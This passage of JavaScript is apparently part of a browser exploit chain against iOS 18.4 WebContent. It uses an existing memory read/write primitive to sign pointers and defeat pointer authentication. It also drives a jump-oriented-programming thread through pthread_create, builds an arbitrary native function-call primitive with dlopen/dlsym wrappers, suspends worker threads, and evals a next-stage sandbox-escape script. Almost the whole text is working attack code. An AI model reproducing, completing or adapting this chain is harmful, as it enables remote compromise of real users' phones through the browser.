742            print(`libsystem_malloc: ${libsystem_malloc.hex()}`);
743            const signed_pthread_create = await slow_dlsym(libsystem_pthread, 'pthread_create');
744            offsets.pthread_create = signed_pthread_create.noPAC();
745            print(`signed_pthread_create: ${signed_pthread_create.hex()}`);
746            const paciza_malloc = await slow_dlsym(libsystem_malloc, 'malloc');
747            offsets.malloc = paciza_malloc.noPAC();
748            print(`paciza_malloc: ${paciza_malloc.hex()}`);
749            const gadget_control_1 = offsets.gadget_control_1_ios184;
750            print(`gadget_control_1:${gadget_control_1.hex()}`);
751            const gadget_control_2 = offsets.gadget_control_2_ios184;
752            print(`gadget_control_2:${gadget_control_2.hex()}`);
753            const gadget_control_3 = offsets.gadget_control_3_ios184;
754            print(`gadget_control_3: ${gadget_control_3.hex()}`);
755            const gadget_loop_1 = offsets.gadget_loop_1_ios184;
756            print(`gadget_loop_1: ${gadget_loop_1.hex()}`);
757            const gadget_loop_2 = offsets.gadget_loop_2_ios184;
758            print(`gadget_loop_2: ${gadget_loop_2.hex()}`);
759            const gadget_loop_3 = offsets.gadget_loop_3_ios184;
760            print(`gadget_loop_3: ${gadget_loop_3.hex()}`);
761            const gadget_set_all_registers = offsets.gadget_set_all_registers_ios184;
762            print(`gadget_set_all_registers: ${gadget_set_all_registers.hex()}`);
763            const paciza_gadget_loop_1 = await slow_pacia(gadget_loop_1, 0n);
764            print(`paciza_gadget_loop_1: ${paciza_gadget_loop_1.hex()}`);
765            const paciza_gadget_loop_2 = await slow_pacia(gadget_loop_2, 0n);
766            print(`paciza_gadget_loop_2: ${paciza_gadget_loop_2.hex()}`);
767            const paciza_gadget_loop_3 = await slow_pacia(gadget_loop_3, 0n);
768            print(`paciza_gadget_loop_3: ${paciza_gadget_loop_3.hex()}`);
769            const paciza_gadget_control_2 = await slow_pacia(gadget_control_2, 0n);
770            print(`paciza_gadget_control_2: ${paciza_gadget_control_2.hex()}`);
771            const paciza_gadget_control_3 = await slow_pacia(gadget_control_3, 0n);
772            print(`paciza_gadget_control_3: ${paciza_gadget_control_3.hex()}`);
773            const paciza_gadget_control_3_4 = await slow_pacia(gadget_control_3 + 4n, 0n);
774            print(`paciza_gadget_control_3_4: ${paciza_gadget_control_3_4.hex()}`);
775            const paciza_gadget_set_all_registers = await slow_pacia(gadget_set_all_registers, 0n);
776            print(`paciza_gadget_set_all_registers: ${paciza_gadget_set_all_registers.hex()}`);
777            const jop_thread = new BigUint64Array(0x20 / 8);
778            const jop_thread_data_ptr = jop_thread.data();
779            const x0_u64 = new BigUint64Array(0x20 / 8);
780            const x0 = x0_u64.data();
781            x0_u64[8 / 8] = paciza_gadget_loop_3;
782            await slow_fcall_2(signed_pthread_create, jop_thread_data_ptr, 0n, paciza_gadget_loop_3, x0);
783            print('WebContent fcall thread has been spawned!!');
784            const pthread_node = jop_thread[0];
785            print(`pthread_node:${pthread_node.hex()}`);
786            const jop_stack_top = p.read64(pthread_node + 0xb8n);
787            print(`jop_stack_top:${jop_stack_top.hex()}`);
788            const jop_stack_bottom = jop_stack_top + 0x88000n;
789            print(`jop_stack_bottom:${jop_stack_bottom.hex()}`);
790            const x19_u64 = new BigUint64Array(0x500 / 8);
791            const x19_f64 = new Float64Array(x19_u64.buffer);
792            const x19 = x19_u64.data();
793            print(`x19: ${x19.hex()}`);
794            const x22_u64 = new BigUint64Array(0x20 / 8);
795            const x22 = x22_u64.data();
796            print(`x22: ${x22.hex()}`);
797            const x20_u64 = new BigUint64Array(0x30 / 8);
798            const x20 = x20_u64.data();
799            print(`x20: ${x20.hex()}`);
800            const stack_u64 = new BigUint64Array(0x88000 / 8);
801            const stack = stack_u64.data();
802            print(`stack: ${stack.hex()}`);
803            const paciza_gadget_control_1 = await slow_pacia(gadget_control_1, 0n);
804            print(`paciza_gadget_control_1: ${paciza_gadget_control_1.hex()}`);
805            const pacib_gadget_loop_1_0x80020 = await slow_pacib(gadget_loop_1, stack + 0x80020n);
806            print(`pacib_gadget_loop_1_0x80020: ${pacib_gadget_loop_1_0x80020.hex()}`);
807            const pacib_gadget_loop_1_0x800c0 = await slow_pacib(gadget_loop_1, stack + 0x800c0n);
808            print(`pacib_gadget_loop_1_0x800c0: ${pacib_gadget_loop_1_0x800c0.hex()}`);
809            const pacib_gadget_loop_2_0x80010 = await slow_pacib(gadget_loop_2, stack + 0x80010n);
810            print(`pacib_gadget_loop_2_0x80010: ${pacib_gadget_loop_2_0x80010.hex()}`);
811            const pacib_gadget_loop_2_0x800b0 = await slow_pacib(gadget_loop_2, stack + 0x800b0n);
812            print(`pacib_gadget_loop_2_0x800b0: ${pacib_gadget_loop_2_0x800b0.hex()}`);
813            const MAGIC = 123.456;
814            p.write64(jop_stack_bottom - 0x4fa0n, stack + 0x80000n);
815            p.write64(jop_stack_bottom - 0x4f98n, await slow_pacib(gadget_loop_1, jop_stack_top + 0x83070n));
816            p.write64(jop_stack_bottom - 0x4fb0n, x20);
817            p.write64(jop_stack_bottom - 0x4fa8n, x19);
818            p.write64(jop_stack_bottom - 0x4fc0n, x22);
819            x19_f64[0x20 / 8] = MAGIC;
820            x19_u64[0 / 8] = paciza_gadget_loop_1;
821            x0_u64[8 / 8] = paciza_gadget_control_1;
822            while (x19_f64[0x20 / 8] === MAGIC);
823            stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010;
824            x19_f64[8 / 8] = MAGIC;
825            x20_u64[0x10 / 8] = paciza_gadget_loop_2;
826            x19_u64[0 / 8] = paciza_gadget_control_2;
827            while (x19_f64[8 / 8] == MAGIC);
828            x20_u64[0x20 / 8] = paciza_malloc;
829            x20_u64[0x28 / 8] = 0n;
830            stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020;
831            x19_f64[0x20 / 8] = MAGIC;
832            x19_u64[0 / 8] = paciza_gadget_loop_1;
833            x20_u64[0x10 / 8] = paciza_gadget_control_3;
834            while (x19_f64[0x20 / 8] === MAGIC);
835            stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0;
836            x19_f64[8 / 8] = MAGIC;
837            x20_u64[0x10 / 8] = paciza_gadget_loop_2;
838            x19_u64[0 / 8] = paciza_gadget_set_all_registers;
839            while (x19_f64[8 / 8] === MAGIC);
840            stack_u64[0x800b0 / 8] = stack + 0x80000n;
841            stack_u64[0x800b8 / 8] = pacib_gadget_loop_1_0x800c0;
842            x19_f64[0x20 / 8] = MAGIC;
843            x19_u64[0 / 8] = paciza_gadget_loop_1;
844            x20_u64[0x10 / 8] = paciza_gadget_control_3_4;
845            while (x19_f64[0x20 / 8] === MAGIC);
846            const cache = new Map();
847            const signPointer = paciza_signPointer.noPAC();
848            cache.set(signPointer, paciza_signPointer);
849            function pacia(ptr, ctx) {
850              signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n;
851              return fcall(signPointer, signPointer_self_addr, ctx, ptr);
852            }
853            function fcall(pc, ...args) {
854              if (!cache.has(pc)) {
855                cache.set(pc, pacia(pc, 0n));
856              }
857              const signed_pc = cache.get(pc);
858              stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010;
859              x19_f64[8 / 8] = MAGIC;
860              x20_u64[0x10 / 8] = paciza_gadget_loop_2;
861              performance.now();
862              x19_u64[0 / 8] = paciza_gadget_control_2;
863              while (x19_f64[8 / 8] === MAGIC);
864              x20_u64[0x20 / 8] = signed_pc;
865              x20_u64[0x28 / 8] = 0n;
866              stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020;
867              x19_f64[0x20 / 8] = MAGIC;
868              x19_u64[0 / 8] = paciza_gadget_loop_1;
869              performance.now();
870              x20_u64[0x10 / 8] = paciza_gadget_control_3;
871              while (x19_f64[0x20 / 8] === MAGIC);
872              for (let i = 0; i < args.length && i < 8; ++i) {
873                stack_u64[0x80098 / 8 - i] = args[i];
874              }
875              stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0;
876              x19_f64[8 / 8] = MAGIC;
877              x20_u64[0x10 / 8] = paciza_gadget_loop_2;
878              performance.now();
879              x19_u64[0 / 8] = paciza_gadget_set_all_registers;
880              while (x19_f64[8 / 8] === MAGIC);
881              x19_f64[0x20 / 8] = MAGIC;
882              x19_u64[0 / 8] = paciza_gadget_loop_1;
883              performance.now();
884              x20_u64[0x10 / 8] = paciza_gadget_control_3_4;
885              while (x19_f64[0x20 / 8] === MAGIC);
886              return x19_u64[0x20 / 8];
887            }
888            const unsigned_dlopen = paciza_dlopen.noPAC();
889            const unsigned_dlsym = paciza_dlsym.noPAC();
890            function dlopen(filename, flags) {
891              filename = filename + '\0';
892              resolve_rope(filename);
893              const name_ptr = p.read64(p.read64(p.addrof(filename) + 8n) + 8n);
894              return fcall(unsigned_dlopen, name_ptr, flags);
895            }
896            p.dlopen = dlopen;
897            function dlsym(handle, symbol) {
898              symbol = symbol + '\0';
899              resolve_rope(symbol);
900              const symbol_ptr = p.read64(p.read64(p.addrof(symbol) + 8n) + 8n);
901              return fcall(unsigned_dlsym, handle, symbol_ptr);
902            }
903            p.dlsym = dlsym;
904            const libsystem_c = dlopen('/usr/lib/system/libsystem_c.dylib', 1n);
905            const fopen = dlsym(libsystem_c, 'fopen').noPAC();
906            const fopen_mode_str = 'w';
907            const fopen_mode_ptr = p.read64(p.read64(p.addrof(fopen_mode_str) + 8n) + 8n);
908            function log(msg) {
909              if (true) {
910                const elapsed = parseInt(Date.now() - rce_begin);
911                const path = ("/(" + elapsed + ") ").padEnd(15) + msg.toString().replaceAll('/', '|') + '\0';
912                resolve_rope(path);
913                const path_ptr = p.read64(p.read64(p.addrof(path) + 8n) + 8n);
914                fcall(fopen, path_ptr, fopen_mode_ptr);
915              }
916            }
917            offsets.libsystem_kernel__thread_terminate = p.slide + 0x1D3D6F244n;
918            function suspend_worker(worker) {
919              const port = p.read32(worker.thread + 0x34n);
920              return fcall(offsets.libsystem_kernel__thread_suspend, port);
921            }
922            for (const worker of p.dlopen_workers) {
923              suspend_worker(worker);
924            }
925            function fcall_close() {
926              x19_u64[0 / 8] = pacia(offsets.pthread_exit, 0n);
927            }
928            const rce_end = Date.now();
929            log(`-`.repeat(0x28));
930            try {
931              // local version
932              const sbx0_script = getJS('/sbx0_main_18.4.js');
933              log("after get js");
934              eval(sbx0_script);
935          } catch (e) {
936              log(btoa(e));
937          }
938            fcall_close();
939            print(`all done`);
940            self.postMessage({
941              type: 'redirect'
942            });
943            return;
944          }
945        case 'slow_fcall_done':
946          {
947            slow_fcall_resolve(p.slowFcallResult[0]);
948            break;
949          }
950      }
951    };
952  })();